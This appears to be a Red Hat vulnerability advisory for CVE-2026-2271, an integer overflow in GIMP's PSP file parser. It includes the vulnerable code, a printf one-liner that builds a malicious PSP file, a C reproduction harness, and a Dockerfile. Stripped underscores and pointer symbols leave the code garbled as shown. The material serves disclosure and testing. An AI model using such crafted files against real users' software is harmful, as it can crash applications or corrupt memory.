CVE-2026-2271: Gimp: gimp: denial of service via crafted psp image file

An integer overflow vulnerability has been identified in the PSP (Paint Shop Pro) file parser of GIMP. The issue occurs in the readcreatorblock() function, where the Creator metadata block is processed. Specifically, a 32-bit length value read from the file is used directly for memory allocation without proper validation. Trigger -> when length is set to 0xFFFFFFFF

gmalloc(0xFFFFFFFF + 1) results in gmalloc(0), leading to the allocation of a minimal-sized buffer fread() then attempts to read approximately 4 GB of data into this small buffer Writing string[0xFFFFFFFF] = '\0' causes an out-of-bounds write beyond the allocated buffer

Vulnerable code (file-psp.c:1130):

guint32 length; fread(&length, 4, 1, f); // Reads length from the file (no validation) string = gmalloc(length + 1); // length = 0xFFFFFFFF → gmalloc(0) fread(string, length, 1, f); // Attempts to read ~4 GB → heap overflow string[length] = '\0'; // Out-of-bounds write at offset 0xFFFFFFFF

PoC

pspoverflow.psp

printf 'Paint Shop Pro Image File\n\x1a\0\0\0\0\0\x03\0\0\0~BK\0\0\0&\0\0\0&\0\0\0\x10\0\0\0\x10\0\0\0\0\0\0\0\0\0R@\0\0\0\x08\0\x01\0\0\x01\0\0\0\0\x01\0\0\0\0\0\0\x01\0~BK\0\x01\0\x0a\x01\0\0\x0a\x01\0\0~FL\0\0\0\xff\xff\xff\xff%s' "$(printf 'A%.0s' {1..256})" > pspoverflow.psp

harnesspsp.c

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h>

typedef uint32t guint32; typedef uint16t guint16; typedef unsigned char guchar; typedef char gchar;

#define GUINT32FROMLE(val) (val) #define GUINT16FROMLE(val) (val)

#define PSPCRTRFLDTITLE 0 #define PSPCRTRFLDARTIST 1 #define PSPCRTRFLDCPYRGHT 2 #define PSPCRTRFLDDESC 3

static int readcreatorblockvulnerable(FILE f, long datastart, guint32 totallen) { guchar buf[4]; guint16 keyword; guint32 length; gchar string;

printf("[] Parsing creator block (totallen=%u)\n", totallen);

while (ftell(f) < datastart + totallen) { if (fread(buf, 4, 1, f) < 1 || fread(&keyword, 2, 1, f) < 1 || fread(&length, 4, 1, f) < 1) { fprintf(stderr, "[-] Error reading creator keyword chunk\n"); return -1; }

if (memcmp(buf, "~FL\0", 4) != 0) { fprintf(stderr, "[-] Invalid keyword chunk header\n"); return -1; }

keyword = GUINT16FROMLE(keyword); length = GUINT32FROMLE(length);

printf("[] Found field: keyword=%u, length=0x%08X (%u)\n", keyword, length, length);

switch (keyword) { case PSPCRTRFLDTITLE: case PSPCRTRFLDARTIST: case PSPCRTRFLDCPYRGHT: case PSPCRTRFLDDESC:

string = (gchar )malloc(length + 1); // vulnerable

if (string == NULL) { fprintf(stderr, "[-] malloc failed\n"); return -1; }

printf("fread(buf, %u, 1, f) -> heap overflow\n", length);

if (fread(string, length, 1, f) < 1) { fprintf(stderr, "[] fread failed (expected for large length)\n"); }

printf("[!] Writing string[0x%08X] = '\\0' -> oob write\n", length); string[length] = '\0'; // crash!

free(string); break;

default: fseek(f, length, SEEKCUR); break; } }

return 0; }

int main(int argc, char argv[]) { FILE f; char magic[32]; guchar buf[4]; guint16 blocktype; guint32 blocklen1, blocklen2;

f = fopen(argv[1], "rb"); if (!f) { fprintf(stderr, "[-] Cannot open %s\n", argv[1]); return 1; }

if (fread(magic, 32, 1, f) < 1) { fprintf(stderr, "[-] Cannot read magic\n"); fclose(f); return 1; }

if (memcmp(magic, "Paint Shop Pro Image File", 25) != 0) { fprintf(stderr, "[-] Invalid PSP file\n"); fclose(f); return 1; }

printf("[+] Valid PSP signature\n");

fseek(f, 4, SEEKCUR);

while (fread(buf, 4, 1, f) == 1) { if (memcmp(buf, "~BK\0", 4) != 0) { fseek(f, -3, SEEKCUR); continue; }

if (fread(&blocktype, 2, 1, f) < 1 || fread(&blocklen1, 4, 1, f) < 1 || fread(&blocklen2, 4, 1, f) < 1) { break; }

blocktype = GUINT16FROMLE(blocktype); blocklen1 = GUINT32FROMLE(blocklen1);

if (blocktype == 1) { long datastart = ftell(f); readcreatorblockvulnerable(f, datastart, blocklen1); break; } else { fseek(f, blocklen1, SEEKCUR); } }

fclose(f); return 0; }

Dockerfile

FROM --platform=linux/arm64 ubuntu:22.04

ENV DEBIANFRONTEND=noninteractive

RUN apt-get update && apt-get install -y \ build-essential \ git \ clang \ python3 \ && rm -rf /var/lib/apt/lists/

WORKDIR /reproduce

COPY harnesspsp.c ./ COPY pspoverflow.psp ./

RUN clang -fsanitize=address -g -O1 -o harnesspsp harnesspsp.c

CMD ["/reproduce/harnesspsp", "/reproduce/pspoverflow.psp"]

Run

docker build -t gimp-vuln-psp-poc . docker run --rm gimp-vuln-psp-poc

Environment

GIMP Version: 3.2.0 RC2 Source Code: git clone --branch GIMP320RC2

https://gitlab.gnome.org/GNOME/gimp.git

vuln file: plug-ins/common/file-psp.c vuln func: readcreatorblock() vuln line: 1130

test environment

OS: macOS 15.2 (Darwin 25.2.0) Arch: ARM64 (Apple M4) Docker: ubuntU:22.04 Compiler: clang with -fsanitize=address

— Red Hat